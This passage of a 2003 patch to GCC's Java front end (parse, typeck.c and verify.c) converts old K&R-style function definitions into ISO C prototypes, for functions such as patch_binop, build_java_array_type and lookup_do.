node_to_insert = node; @@ -12479,8 +12285,7 @@ build_wfl_wrap (node, location) we're currently dealing with the class java.lang.Object. */ static tree -build_super_invocation (mdecl) - tree mdecl; +build_super_invocation (tree mdecl) { if (DECL_CONTEXT (mdecl) == object_type_node) return empty_stmt_node; @@ -12503,10 +12308,8 @@ build_super_invocation (mdecl) /* Build a SUPER/THIS qualified method invocation. */ static tree -build_this_super_qualified_invocation (use_this, name, args, lloc, rloc) - int use_this; - tree name, args; - int lloc, rloc; +build_this_super_qualified_invocation (int use_this, tree name, tree args, + int lloc, int rloc) { tree invok; tree wfl = @@ -12519,9 +12322,7 @@ build_this_super_qualified_invocation (u /* Build an incomplete CALL_EXPR node. */ static tree -build_method_invocation (name, args) - tree name; - tree args; +build_method_invocation (tree name, tree args) { tree call = build (CALL_EXPR, NULL_TREE, name, args, NULL_TREE); TREE_SIDE_EFFECTS (call) = 1; @@ -12532,8 +12333,7 @@ build_method_invocation (name, args) /* Build an incomplete new xxx(...) node. */ static tree -build_new_invocation (name, args) - tree name, args; +build_new_invocation (tree name, tree args) { tree call = build (NEW_CLASS_EXPR, NULL_TREE, name, args, NULL_TREE); TREE_SIDE_EFFECTS (call) = 1; @@ -12544,9 +12344,7 @@ build_new_invocation (name, args) /* Build an incomplete assignment expression. */ static tree -build_assignment (op, op_location, lhs, rhs) - int op, op_location; - tree lhs, rhs; +build_assignment (int op, int op_location, tree lhs, tree rhs) { tree assignment; /* Build the corresponding binop if we deal with a Compound @@ -12566,8 +12364,7 @@ build_assignment (op, op_location, lhs, /* Print an INTEGER_CST node as decimal in a static buffer, and return the buffer. This is used only for string conversion. */ static char * -string_convert_int_cst (node) - tree node; +string_convert_int_cst (tree node) { static char buffer[80]; @@ -12640,8 +12437,7 @@ string_convert_int_cst (node) /* Print an INTEGER_CST node in a static buffer, and return the buffer. This is used only for error handling. */ char * -print_int_node (node) - tree node; +print_int_node (tree node) { static char buffer [80]; if (TREE_CONSTANT_OVERFLOW (node)) @@ -12671,9 +12467,7 @@ print_int_node (node) /* 15.25 Assignment operators. */ static tree -patch_assignment (node, wfl_op1) - tree node; - tree wfl_op1; +patch_assignment (tree node, tree wfl_op1) { tree rhs = TREE_OPERAND (node, 1); tree lvalue = TREE_OPERAND (node, 0), llvalue; @@ -12844,8 +12638,7 @@ patch_assignment (node, wfl_op1) modified rhs. */ static tree -try_reference_assignconv (lhs_type, rhs) - tree lhs_type, rhs; +try_reference_assignconv (tree lhs_type, tree rhs) { tree new_rhs = NULL_TREE; tree rhs_type = TREE_TYPE (rhs); @@ -12871,8 +12664,7 @@ try_reference_assignconv (lhs_type, rhs) builtin type. Return a converted RHS if the conversion is possible. */ static tree -try_builtin_assignconv (wfl_op1, lhs_type, rhs) - tree wfl_op1, lhs_type, rhs; +try_builtin_assignconv (tree wfl_op1, tree lhs_type, tree rhs) { tree new_rhs = NULL_TREE; tree rhs_type = TREE_TYPE (rhs); @@ -12922,8 +12714,7 @@ try_builtin_assignconv (wfl_op1, lhs_typ invocation convertion (5.3). */ static int -valid_builtin_assignconv_identity_widening_p (lhs_type, rhs_type) - tree lhs_type, rhs_type; +valid_builtin_assignconv_identity_widening_p (tree lhs_type, tree rhs_type) { /* 5.1.1: This is the identity conversion part. */ if (lhs_type == rhs_type) @@ -12968,10 +12759,7 @@ valid_builtin_assignconv_identity_wideni assignment check. */ static int -valid_ref_assignconv_cast_p (source, dest, cast) - tree source; - tree dest; - int cast; +valid_ref_assignconv_cast_p (tree source, tree dest, int cast) { /* SOURCE or DEST might be null if not from a declared entity. */ if (!source || !dest) @@ -13101,9 +12889,7 @@ valid_ref_assignconv_cast_p (source, des } static int -valid_cast_to_p (source, dest) - tree source; - tree dest; +valid_cast_to_p (tree source, tree dest) { if (TREE_CODE (source) == POINTER_TYPE) source = TREE_TYPE (source); @@ -13124,8 +12910,7 @@ valid_cast_to_p (source, dest) } static tree -do_unary_numeric_promotion (arg) - tree arg; +do_unary_numeric_promotion (tree arg) { tree type = TREE_TYPE (arg); if ((TREE_CODE (type) == INTEGER_TYPE && TYPE_PRECISION (type) < 32) @@ -13137,8 +12922,7 @@ do_unary_numeric_promotion (arg) /* Return a nonzero value if SOURCE can be converted into DEST using the method invocation conversion rule (5.3). */ static int -valid_method_invocation_conversion_p (dest, source) - tree dest, source; +valid_method_invocation_conversion_p (tree dest, tree source) { return ((JPRIMITIVE_TYPE_P (source) && JPRIMITIVE_TYPE_P (dest) && valid_builtin_assignconv_identity_widening_p (dest, source)) @@ -13150,10 +12934,7 @@ valid_method_invocation_conversion_p (de /* Build an incomplete binop expression. */ static tree -build_binop (op, op_location, op1, op2) - enum tree_code op; - int op_location; - tree op1, op2; +build_binop (enum tree_code op, int op_location, tree op1, tree op2) { tree binop = build (op, NULL_TREE, op1, op2); TREE_SIDE_EFFECTS (binop) = 1; @@ -13170,8 +12951,7 @@ build_binop (op, op_location, op1, op2) buffer. */ static char * -operator_string (node) - tree node; +operator_string (tree node) { #define BUILD_OPERATOR_STRING(S) \ { \ @@ -13220,8 +13000,7 @@ operator_string (node) /* Return 1 if VAR_ACCESS1 is equivalent to VAR_ACCESS2. */ static int -java_decl_equiv (var_acc1, var_acc2) - tree var_acc1, var_acc2; +java_decl_equiv (tree var_acc1, tree var_acc2) { if (JDECL_P (var_acc1)) return (var_acc1 == var_acc2); @@ -13237,8 +13016,7 @@ java_decl_equiv (var_acc1, var_acc2) used in conjunction with the `=' operator in a compound assignment. */ static int -binop_compound_p (code) - enum tree_code code; +binop_compound_p (enum tree_code code) { int i; for (i = 0; i < BINOP_COMPOUND_CANDIDATES; i++) @@ -13251,8 +13029,7 @@ binop_compound_p (code) /* Reorganize after a fold to get SAVE_EXPR to generate what we want. */ static tree -java_refold (t) - tree t; +java_refold (tree t) { tree c, b, ns, decl; @@ -13299,10 +13076,7 @@ java_refold (t) of remaining nodes and detects more errors in certain cases. */ static tree -patch_binop (node, wfl_op1, wfl_op2) - tree node; - tree wfl_op1; - tree wfl_op2; +patch_binop (tree node, tree wfl_op1, tree wfl_op2) { tree op1 = TREE_OPERAND (node, 0); tree op2 = TREE_OPERAND (node, 1); @@ -13722,10 +13496,7 @@ patch_binop (node, wfl_op1, wfl_op2) zero value, the value of CSTE comes after the valude of STRING */ static tree -do_merge_string_cste (cste, string, string_len, after) - tree cste; - const char *string; - int string_len, after; +do_merge_string_cste (tree cste, const char *string, int string_len, int after) { const char *old = TREE_STRING_POINTER (cste); int old_len = TREE_STRING_LENGTH (cste); @@ -13750,9 +13521,7 @@ do_merge_string_cste (cste, string, stri new STRING_CST on success, NULL_TREE on failure */ static tree -merge_string_cste (op1, op2, after) - tree op1, op2; - int after; +merge_string_cste (tree op1, tree op2, int after) { /* Handle two string constants right away */ if (TREE_CODE (op2) == STRING_CST) @@ -13808,8 +13577,7 @@ merge_string_cste (op1, op2, after) NULL_TREE for each invocation of this routine. FIXME */ static tree -string_constant_concatenation (op1, op2) - tree op1, op2; +string_constant_concatenation (tree op1, tree op2) { if (TREE_CODE (op1) == STRING_CST || (TREE_CODE (op2) == STRING_CST)) { @@ -13843,8 +13611,7 @@ string_constant_concatenation (op1, op2) called on it to turn it into a String object. */ static tree -build_string_concatenation (op1, op2) - tree op1, op2; +build_string_concatenation (tree op1, tree op2) { tree result; int side_effects = TREE_SIDE_EFFECTS (op1) | TREE_SIDE_EFFECTS (op2); @@ -13913,8 +13680,7 @@ build_string_concatenation (op1, op2) NULL. */ static tree -patch_string (node) - tree node; +patch_string (tree node) { if (node == error_mark_node) return error_mark_node; @@ -13940,8 +13706,7 @@ patch_string (node) /* Build the internal representation of a string constant. */ static tree -patch_string_cst (node) - tree node; +patch_string_cst (tree node) { int location; if (! flag_emit_class_files) @@ -13958,9 +13723,7 @@ patch_string_cst (node) /* Build an incomplete unary operator expression. */ static tree -build_unaryop (op_token, op_location, op1) - int op_token, op_location; - tree op1; +build_unaryop (int op_token, int op_location, tree op1) { enum tree_code op; tree unaryop; @@ -13986,10 +13749,7 @@ build_unaryop (op_token, op_location, op later. IS_POST_P is 1 if the operator, 0 otherwise. */ static tree -build_incdec (op_token, op_location, op1, is_post_p) - int op_token, op_location; - tree op1; - int is_post_p; +build_incdec (int op_token, int op_location, tree op1, int is_post_p) { static const enum tree_code lookup [2][2] = { @@ -14011,9 +13771,7 @@ build_incdec (op_token, op_location, op1 though its type is already set. */ static tree -build_cast (location, type, exp) - int location; - tree type, exp; +build_cast (int location, tree type, tree exp) { tree node = build1 (CONVERT_EXPR, type, exp); EXPR_WFL_LINECOL (node) = location; @@ -14022,9 +13780,7 @@ build_cast (location, type, exp) /* Build an incomplete class reference operator. */ static tree -build_incomplete_class_ref (location, class_name) - int location; - tree class_name; +build_incomplete_class_ref (int location, tree class_name) { tree node = build1 (CLASS_LITERAL, NULL_TREE, class_name); EXPR_WFL_LINECOL (node) = location; @@ -14033,8 +13789,7 @@ build_incomplete_class_ref (location, cl /* Complete an incomplete class reference operator. */ static tree -patch_incomplete_class_ref (node) - tree node; +patch_incomplete_class_ref (tree node) { tree type = TREE_OPERAND (node, 0); tree ref_type; @@ -14071,9 +13826,7 @@ patch_incomplete_class_ref (node) but preserve the type of NODE if the type is fixed. */ static tree -patch_unaryop (node, wfl_op) - tree node; - tree wfl_op; +patch_unaryop (tree node, tree wfl_op) { tree op = TREE_OPERAND (node, 0); tree op_type = TREE_TYPE (op); @@ -14261,8 +14014,7 @@ patch_unaryop (node, wfl_op) message. Return the resolved type or NULL_TREE. */ static tree -resolve_type_during_patch (type) - tree type; +resolve_type_during_patch (tree type) { if (unresolved_type_p (type, NULL)) { @@ -14282,9 +14034,7 @@ resolve_type_during_patch (type) found. Otherwise NODE or something meant to replace it is returned. */ static tree -patch_cast (node, wfl_op) - tree node; - tree wfl_op; +patch_cast (tree node, tree wfl_op) { tree op = TREE_OPERAND (node, 0); tree cast_type = TREE_TYPE (node); @@ -14367,8 +14117,7 @@ patch_cast (node, wfl_op) /* Build a null constant and give it the type TYPE. */ static tree -build_null_of_type (type) - tree type; +build_null_of_type (tree type) { tree node = build_int_2 (0, 0); TREE_TYPE (node) = promote_type (type); @@ -14378,9 +14127,7 @@ build_null_of_type (type) /* Build an ARRAY_REF incomplete tree node. Note that operand 1 isn't a list of indices. */ static tree -build_array_ref (location, array, index) - int location; - tree array, index; +build_array_ref (int location, tree array, tree index) { tree node = build (ARRAY_REF, NULL_TREE, array, index); EXPR_WFL_LINECOL (node) = location; @@ -14390,8 +14137,7 @@ build_array_ref (location, array, index) /* 15.12 Array Access Expression */ static tree -patch_array_ref (node) - tree node; +patch_array_ref (tree node) { tree array = TREE_OPERAND (node, 0); tree array_type = TREE_TYPE (array); @@ -14451,10 +14197,7 @@ patch_array_ref (node) /* 15.9 Array Creation Expressions */ static tree -build_newarray_node (type, dims, extra_dims) - tree type; - tree dims; - int extra_dims; +build_newarray_node (tree type, tree dims, int extra_dims) { tree node = build (NEW_ARRAY_EXPR, NULL_TREE, type, nreverse (dims), @@ -14463,8 +14206,7 @@ build_newarray_node (type, dims, extra_d } static tree -patch_newarray (node) - tree node; +patch_newarray (tree node) { tree type = TREE_OPERAND (node, 0); tree dims = TREE_OPERAND (node, 1); @@ -14567,8 +14309,7 @@ patch_newarray (node) pin-point errors. */ static tree -maybe_build_array_element_wfl (node) - tree node; +maybe_build_array_element_wfl (tree node) { if (TREE_CODE (node) != EXPR_WITH_FILE_LOCATION) return build_expr_wfl (NULL_TREE, ctxp->filename, @@ -14582,9 +14323,7 @@ maybe_build_array_element_wfl (node) and expansion. */ static tree -build_new_array_init (location, values) - int location; - tree values; +build_new_array_init (int location, tree values) { tree constructor = build (CONSTRUCTOR, NULL_TREE, NULL_TREE, values); tree to_return = build1 (NEW_ARRAY_INIT, NULL_TREE, constructor); @@ -14597,8 +14336,7 @@ build_new_array_init (location, values) appropriately. */ static tree -patch_new_array_init (type, node) - tree type, node; +patch_new_array_init (tree type, tree node) { int error_seen = 0; tree current, element_type; @@ -14661,8 +14399,7 @@ patch_new_array_init (type, node) otherwise. */ static int -array_constructor_check_entry (type, entry) - tree type, entry; +array_constructor_check_entry (tree type, tree entry) { char *array_type_string = NULL; /* For error reports */ tree value, type_value, new_value, wfl_value, patched; @@ -14711,8 +14448,7 @@ array_constructor_check_entry (type, ent } static tree -build_this (location) - int location; +build_this (int location) { tree node = build_wfl_node (this_identifier_node); TREE_SET_CODE (node, THIS_EXPR); @@ -14725,9 +14461,7 @@ build_this (location) to be returned. */ static tree -build_return (location, op) - int location; - tree op; +build_return (int location, tree op) { tree node = build1 (RETURN_EXPR, NULL_TREE, op); EXPR_WFL_LINECOL (node) = location; @@ -14736,8 +14470,7 @@ build_return (location, op) } static tree -patch_return (node) - tree node; +patch_return (tree node) { tree return_exp = TREE_OPERAND (node, 0); tree meth = current_function_decl; @@ -14821,9 +14554,8 @@ patch_return (node) /* 14.8 The if Statement */ static tree -build_if_else_statement (location, expression, if_body, else_body) - int location; - tree expression, if_body, else_body; +build_if_else_statement (int location, tree expression, tree if_body, + tree else_body) { tree node; if (!else_body) @@ -14835,8 +14567,7 @@ build_if_else_statement (location, expre } static tree -patch_if_else_statement (node) - tree node; +patch_if_else_statement (tree node) { tree expression = TREE_OPERAND (node, 0); int can_complete_normally @@ -14883,9 +14614,7 @@ patch_if_else_statement (node) label, yet. LABEL can be NULL_TREE for artificially-generated blocks. */ static tree -build_labeled_block (location, label) - int location; - tree label; +build_labeled_block (int location, tree label) { tree label_name ; tree label_decl, node; @@ -14921,9 +14650,8 @@ build_labeled_block (location, label) /* A labeled statement LBE is attached a statement. */ static tree -finish_labeled_statement (lbe, statement) - tree lbe; /* Labeled block expr */ - tree statement; +finish_labeled_statement (tree lbe, /* Labeled block expr */ + tree statement) { /* In anyways, tie the loop to its statement */ LABELED_BLOCK_BODY (lbe) = statement; @@ -14938,8 +14666,7 @@ finish_labeled_statement (lbe, statement list. */ static tree -build_new_loop (loop_body) - tree loop_body; +build_new_loop (tree loop_body) { tree loop = build (LOOP_EXPR, NULL_TREE, loop_body); TREE_SIDE_EFFECTS (loop) = 1; @@ -14968,10 +14695,7 @@ build_new_loop (loop_body) */ static tree -build_loop_body (location, condition, reversed) - int location; - tree condition; - int reversed; +build_loop_body (int location, tree condition, int reversed) { tree first, second, body; @@ -14993,10 +14717,7 @@ build_loop_body (location, condition, re loop list. */ static tree -finish_loop_body (location, condition, body, reversed) - int location; - tree condition, body; - int reversed; +finish_loop_body (int location, tree condition, tree body, int reversed) { tree to_return = ctxp->current_loop; tree loop_body = LOOP_EXPR_BODY (to_return); @@ -15019,9 +14740,7 @@ finish_loop_body (location, condition, b loops feature the condition part */ static tree -finish_for_loop (location, condition, update, body) - int location; - tree condition, update, body; +finish_for_loop (int location, tree condition, tree update, tree body) { /* Put the condition and the loop body in place */ tree loop = finish_loop_body (location, condition, body, 0); @@ -15055,8 +14774,7 @@ finish_for_loop (location, condition, up LABELED_BLOCK_EXPR's block. */ static tree -search_loop (statement) - tree statement; +search_loop (tree statement) { if (TREE_CODE (statement) == LOOP_EXPR) return statement; @@ -15078,8 +14796,7 @@ search_loop (statement) returned otherwise. */ static int -labeled_block_contains_loop_p (block, loop) - tree block, loop; +labeled_block_contains_loop_p (tree block, tree loop) { if (!block) return 0; @@ -15097,8 +14814,7 @@ labeled_block_contains_loop_p (block, lo insert LOOP as its body. */ static tree -patch_loop_statement (loop) - tree loop; +patch_loop_statement (tree loop) { tree loop_label; @@ -15120,9 +14836,7 @@ patch_loop_statement (loop) unlabeled break/continue statement. */ static tree -build_bc_statement (location, is_break, name) - int location, is_break; - tree name; +build_bc_statement (int location, int is_break, tree name) { tree break_continue, label_block_expr = NULL_TREE; @@ -15151,8 +14865,7 @@ build_bc_statement (location, is_break, /* Verification of a break/continue statement. */ static tree -patch_bc_statement (node) - tree node; +patch_bc_statement (tree node) { tree bc_label = EXIT_BLOCK_LABELED_BLOCK (node), target_stmt; tree labeled_block = ctxp->current_labeled_block; @@ -15228,8 +14941,7 @@ patch_bc_statement (node) boolean. */ static tree -patch_exit_expr (node) - tree node; +patch_exit_expr (tree node) { tree expression = TREE_OPERAND (node, 0); TREE_TYPE (node) = error_mark_node; @@ -15264,8 +14976,7 @@ patch_exit_expr (node) /* 14.9 Switch statement */ static tree -patch_switch_statement (node) - tree node; +patch_switch_statement (tree node) { tree se = TREE_OPERAND (node, 0), se_type; tree save, iter; @@ -15342,9 +15053,7 @@ patch_switch_statement (node) /* Build an assertion expression for `assert CONDITION : VALUE'; VALUE might be NULL_TREE. */ static tree -build_assertion (location, condition, value) - int location; - tree condition, value; +build_assertion (int location, tree condition, tree value) { tree node; tree klass = GET_CPC (); @@ -15421,9 +15130,8 @@ build_assertion (location, condition, va catches TYPE and executes CATCH_STMTS. */ static tree -encapsulate_with_try_catch (location, type, try_stmts, catch_stmts) - int location; - tree type, try_stmts, catch_stmts; +encapsulate_with_try_catch (int location, tree type, tree try_stmts, + tree catch_stmts) { tree try_block, catch_clause_param, catch_block, catch; @@ -15451,9 +15159,7 @@ encapsulate_with_try_catch (location, ty } static tree -build_try_statement (location, try_block, catches) - int location; - tree try_block, catches; +build_try_statement (int location, tree try_block, tree catches) { tree node = build (TRY_EXPR, NULL_TREE, try_block, catches); EXPR_WFL_LINECOL (node) = location; @@ -15461,9 +15167,7 @@ build_try_statement (location, try_block } static tree -build_try_finally_statement (location, try_block, finally) - int location; - tree try_block, finally; +build_try_finally_statement (int location, tree try_block, tree finally) { tree node = build (TRY_FINALLY_EXPR, NULL_TREE, try_block, finally); EXPR_WFL_LINECOL (node) = location; @@ -15471,8 +15175,7 @@ build_try_finally_statement (location, t } static tree -patch_try_statement (node) - tree node; +patch_try_statement (tree node) { int error_found = 0; tree try = TREE_OPERAND (node, 0); @@ -15583,8 +15286,7 @@ patch_try_statement (node) /* 14.17 The synchronized Statement */ static tree -patch_synchronized_statement (node, wfl_op1) - tree node, wfl_op1; +patch_synchronized_statement (tree node, tree wfl_op1) { tree expr = java_complete_tree (TREE_OPERAND (node, 0)); tree block = TREE_OPERAND (node, 1); @@ -15653,8 +15355,7 @@ patch_synchronized_statement (node, wfl_ /* 14.16 The throw Statement */ static tree -patch_throw_statement (node, wfl_op1) - tree node, wfl_op1; +patch_throw_statement (tree node, tree wfl_op1) { tree expr = TREE_OPERAND (node, 0); tree type = TREE_TYPE (expr); @@ -15756,9 +15457,7 @@ patch_throw_statement (node, wfl_op1) effectively caught from where DECL is invoked. */ static void -check_thrown_exceptions (location, decl) - int location; - tree decl; +check_thrown_exceptions (int location, tree decl) { tree throws; /* For all the unchecked exceptions thrown by DECL */ @@ -15793,8 +15492,7 @@ check_thrown_exceptions (location, decl) current method. */ static int -check_thrown_exceptions_do (exception) - tree exception; +check_thrown_exceptions_do (tree exception) { tree list = currently_caught_type_list; resolve_and_layout (exception, NULL_TREE); @@ -15814,8 +15512,7 @@ check_thrown_exceptions_do (exception) } static void -purge_unchecked_exceptions (mdecl) - tree mdecl; +purge_unchecked_exceptions (tree mdecl) { tree throws = DECL_FUNCTION_THROWS (mdecl); tree new = NULL_TREE; @@ -15840,8 +15537,7 @@ purge_unchecked_exceptions (mdecl) otherwise. */ static bool -ctors_unchecked_throws_clause_p (class_type) - tree class_type; +ctors_unchecked_throws_clause_p (tree class_type) { tree current; @@ -15869,8 +15565,7 @@ ctors_unchecked_throws_clause_p (class_t /* 15.24 Conditional Operator ?: */ static tree -patch_conditional_expr (node, wfl_cond, wfl_op1) - tree node, wfl_cond, wfl_op1; +patch_conditional_expr (tree node, tree wfl_cond, tree wfl_op1) { tree cond = TREE_OPERAND (node, 0); tree op1 = TREE_OPERAND (node, 1); @@ -15983,8 +15678,7 @@ patch_conditional_expr (node, wfl_cond, /* Wrap EXPR with code to initialize DECL's class, if appropriate. */ static tree -maybe_build_class_init_for_field (decl, expr) - tree decl, expr; +maybe_build_class_init_for_field (tree decl, tree expr) { tree clas = DECL_CONTEXT (decl); if (flag_emit_class_files || flag_emit_xref) @@ -16008,9 +15702,7 @@ maybe_build_class_init_for_field (decl, CONTEXT is a static final VAR_DECL whose initializer we are folding. */ static tree -fold_constant_for_init (node, context) - tree node; - tree context; +fold_constant_for_init (tree node, tree context) { tree op0, op1, val; enum tree_code code = TREE_CODE (node); @@ -16157,22 +15849,18 @@ fold_constant_for_init (node, context) 'M' for MethodName, 'E' for ExpressionName, and 'A' for AmbiguousName. */ tree -resolve_simple_name (name, context) - tree name; - int context; +resolve_simple_name (tree name, int context) { } tree -resolve_qualified_name (name, context) - tree name; - int context; +resolve_qualified_name (tree name, int context) { } #endif void -init_src_parse () +init_src_parse (void) { /* Sanity check; we've been bit by this before. */ if (ARRAY_SIZE (ctxp->modifier_ctx) != MODIFIER_TK - PUBLIC_TK) @@ -16187,9 +15875,7 @@ init_src_parse () /* Attach to PTR (a block) the declaration found in ENTRY. */ static int -attach_init_test_initialization_flags (entry, ptr) - void **entry; - void *ptr; +attach_init_test_initialization_flags (void **entry, void *ptr) { tree block = (tree)ptr; struct treetreehash_entry *ite = (struct treetreehash_entry *) *entry; @@ -16209,9 +15895,7 @@ attach_init_test_initialization_flags (e a new one is created. */ static int -emit_test_initialization (entry_p, info) - void **entry_p; - void *info; +emit_test_initialization (void **entry_p, void *info) { tree l = (tree) info; tree decl, init; diff -rup orig/egcc-CVS20030110/gcc/java/typeck.c egcc-CVS20030110/gcc/java/typeck.c --- orig/egcc-CVS20030110/gcc/java/typeck.c 2003-01-09 18:13:20.000000000 -0500 +++ egcc-CVS20030110/gcc/java/typeck.c 2003-01-10 23:40:43.075644439 -0500 @@ -50,9 +50,7 @@ tree * type_map; /* Set the type of the local variable with index SLOT to TYPE. */ void -set_local_type (slot, type) - int slot; - tree type; +set_local_type (int slot, tree type) { int max_locals = DECL_MAX_LOCALS(current_function_decl); int nslots = TYPE_IS_WIDE (type) ? 2 : 1; @@ -80,8 +78,7 @@ set_local_type (slot, type) : (int)expr))) */ static tree -convert_ieee_real_to_integer (type, expr) - tree type, expr; +convert_ieee_real_to_integer (tree type, tree expr) { tree result; expr = save_expr (expr); @@ -113,8 +110,7 @@ convert_ieee_real_to_integer (type, expr not permitted by the language being compiled. */ tree -convert (type, expr) - tree type, expr; +convert (tree type, tree expr) { register enum tree_code code = TREE_CODE (type); @@ -155,15 +151,13 @@ convert (type, expr) tree -convert_to_char (type, expr) - tree type, expr; +convert_to_char (tree type, tree expr) { return build1 (NOP_EXPR, type, expr); } tree -convert_to_boolean (type, expr) - tree type, expr; +convert_to_boolean (tree type, tree expr) { return build1 (NOP_EXPR, type, expr); } @@ -173,9 +167,7 @@ convert_to_boolean (type, expr) then UNSIGNEDP selects between signed and unsigned types. */ tree -java_type_for_mode (mode, unsignedp) - enum machine_mode mode; - int unsignedp; +java_type_for_mode (enum machine_mode mode, int unsignedp) { if (mode == TYPE_MODE (int_type_node)) return unsignedp ? unsigned_int_type_node : int_type_node; @@ -197,9 +189,7 @@ java_type_for_mode (mode, unsignedp) that is unsigned if UNSIGNEDP is nonzero, otherwise signed. */ tree -java_type_for_size (bits, unsignedp) - unsigned bits; - int unsignedp; +java_type_for_size (unsigned bits, int unsignedp) { if (bits <= TYPE_PRECISION (byte_type_node)) return unsignedp ? unsigned_byte_type_node : byte_type_node; @@ -216,9 +206,7 @@ java_type_for_size (bits, unsignedp) signed according to UNSIGNEDP. */ tree -java_signed_or_unsigned_type (unsignedp, type) - int unsignedp; - tree type; +java_signed_or_unsigned_type (int unsignedp, tree type) { if (! INTEGRAL_TYPE_P (type)) return type; @@ -236,8 +224,7 @@ java_signed_or_unsigned_type (unsignedp, /* Return a signed type the same as TYPE in other respects. */ tree -java_signed_type (type) - tree type; +java_signed_type (tree type) { return java_signed_or_unsigned_type (0, type); } @@ -245,8 +232,7 @@ java_signed_type (type) /* Return an unsigned type the same as TYPE in other respects. */ tree -java_unsigned_type (type) - tree type; +java_unsigned_type (tree type) { return java_signed_or_unsigned_type (1, type); } @@ -256,8 +242,7 @@ java_unsigned_type (type) Value is true if successful. */ bool -java_mark_addressable (exp) - tree exp; +java_mark_addressable (tree exp) { register tree x = exp; while (1) @@ -320,8 +305,7 @@ java_mark_addressable (exp) /* Thorough checking of the arrayness of TYPE. */ int -is_array_type_p (type) - tree type; +is_array_type_p (tree type) { return TREE_CODE (type) == POINTER_TYPE && TREE_CODE (TREE_TYPE (type)) == RECORD_TYPE @@ -332,8 +316,7 @@ is_array_type_p (type) Return -1 if the length is unknown or non-constant. */ HOST_WIDE_INT -java_array_type_length (array_type) - tree array_type; +java_array_type_length (tree array_type) { tree arfld; if (TREE_CODE (array_type) == POINTER_TYPE) @@ -358,9 +341,7 @@ java_array_type_length (array_type) `length' from static arrays. We could restore it, FIXME. */ tree -build_prim_array_type (element_type, length) - tree element_type; - HOST_WIDE_INT length; +build_prim_array_type (tree element_type, HOST_WIDE_INT length) { tree index = NULL; @@ -378,9 +359,7 @@ build_prim_array_type (element_type, len The LENGTH is -1 if the length is unknown. */ tree -build_java_array_type (element_type, length) - tree element_type; - HOST_WIDE_INT length; +build_java_array_type (tree element_type, HOST_WIDE_INT length) { tree sig, t, fld, atype, arfld; char buf[12]; @@ -441,8 +420,7 @@ build_java_array_type (element_type, len /* Promote TYPE to the type actually used for fields and parameters. */ tree -promote_type (type) - tree type; +promote_type (tree type) { switch (TREE_CODE (type)) { @@ -476,8 +454,7 @@ promote_type (type) Return the seen TREE_TYPE, updating *PTR. */ static tree -parse_signature_type (ptr, limit) - const unsigned char **ptr, *limit; +parse_signature_type (const unsigned char **ptr, const unsigned char *limit) { tree type; @@ -526,9 +503,7 @@ parse_signature_type (ptr, limit) Return a gcc type node. */ tree -parse_signature_string (sig_string, sig_length) - const unsigned char *sig_string; - int sig_length; +parse_signature_string (const unsigned char *sig_string, int sig_length) { tree result_type; const unsigned char *str = sig_string; @@ -581,8 +556,7 @@ get_type_from_signature (tree signature) /* Ignore signature and always return null. Used by has_method. */ static tree -build_null_signature (type) - tree type ATTRIBUTE_UNUSED; +build_null_signature (tree type ATTRIBUTE_UNUSED) { return NULL_TREE; } @@ -590,8 +564,7 @@ build_null_signature (type) /* Return the signature string for the arguments of method type TYPE. */ tree -build_java_argument_signature (type) - tree type; +build_java_argument_signature (tree type) { extern struct obstack temporary_obstack; tree sig = TYPE_ARGUMENT_SIGNATURE (type); @@ -618,8 +591,7 @@ build_java_argument_signature (type) /* Return the signature of the given TYPE. */ tree -build_java_signature (type) - tree type; +build_java_signature (tree type) { tree sig, t; while (TREE_CODE (type) == POINTER_TYPE) @@ -699,9 +671,7 @@ build_java_signature (type) /* Save signature string SIG (an IDENTIFIER_NODE) in TYPE for future use. */ void -set_java_signature (type, sig) - tree type; - tree sig; +set_java_signature (tree type, tree sig) { tree old_sig; while (TREE_CODE (type) == POINTER_TYPE) @@ -725,8 +695,7 @@ set_java_signature (type, sig) signature. */ tree -lookup_argument_method (searched_class, method_name, method_signature) - tree searched_class, method_name, method_signature; +lookup_argument_method (tree searched_class, tree method_name, tree method_signature) { return lookup_do (searched_class, NULL_TREE, method_name, method_signature, build_java_argument_signature); @@ -739,8 +708,7 @@ lookup_argument_method (searched_class, which takes into account return type.) */ tree -lookup_argument_method2 (searched_class, method_name, method_signature) - tree searched_class, method_name, method_signature; +lookup_argument_method2 (tree searched_class, tree method_name, tree method_signature) { return lookup_do (CLASSTYPE_SUPER (searched_class), searched_class, method_name, method_signature, @@ -754,8 +722,7 @@ lookup_argument_method2 (searched_class, SEARCHED_CLASS is an interface, search it too. */ tree -lookup_java_method (searched_class, method_name, method_signature) - tree searched_class, method_name, method_signature; +lookup_java_method (tree searched_class, tree method_name, tree method_signature) { tree searched_interface; @@ -772,9 +739,7 @@ lookup_java_method (searched_class, meth /* Return true iff CLASS (or its ancestors) has a method METHOD_NAME. */ int -has_method (class, method_name) - tree class; - tree method_name; +has_method (tree class, tree method_name) { return lookup_do (class, class, method_name, NULL_TREE, build_null_signature) != NULL_TREE; @@ -788,9 +753,8 @@ has_method (class, method_name) signature. */ static tree -lookup_do (searched_class, searched_interface, method_name, signature, signature_builder) - tree searched_class, searched_interface, method_name, signature; - tree (*signature_builder) (tree); +lookup_do (tree searched_class, tree searched_interface, tree method_name, + tree signature, tree (*signature_builder) (tree)) { tree method; @@ -851,8 +815,7 @@ lookup_do (searched_class, searched_inte Return a FUNCTION_DECL on success, or NULL_TREE if none found. */ tree -lookup_java_constructor (clas, method_signature) - tree clas, method_signature; +lookup_java_constructor (tree clas, tree method_signature) { tree method = TYPE_METHODS (clas); for ( ; method != NULL_TREE; method = TREE_CHAIN (method)) @@ -869,11 +832,7 @@ lookup_java_constructor (clas, method_si Promotion. It assumes that both T1 and T2 are eligible to BNP. */ tree -binary_numeric_promotion (t1, t2, exp1, exp2) - tree t1; - tree t2; - tree *exp1; - tree *exp2; +binary_numeric_promotion (tree t1, tree t2, tree *exp1, tree *exp2) { if (t1 == double_type_node || t2 == double_type_node) { diff -rup orig/egcc-CVS20030110/gcc/java/verify.c egcc-CVS20030110/gcc/java/verify.c --- orig/egcc-CVS20030110/gcc/java/verify.c 2003-01-09 22:02:26.000000000 -0500 +++ egcc-CVS20030110/gcc/java/verify.c 2003-01-10 23:40:43.075644439 -0500 @@ -56,8 +56,7 @@ tree pending_blocks; /* Append TARGET_LABEL to the pending_block stack unless already in it. */ static void -push_pending_label (target_label) - tree target_label; +push_pending_label (tree target_label) { if (! LABEL_CHANGED (target_label)) { @@ -72,8 +71,7 @@ push_pending_label (target_label) Return NULL on success, or an error message on failure. */ static const char * -check_pending_block (target_label) - tree target_label; +check_pending_block (tree target_label) { int changed = merge_type_state (target_label); @@ -129,8 +127,7 @@ 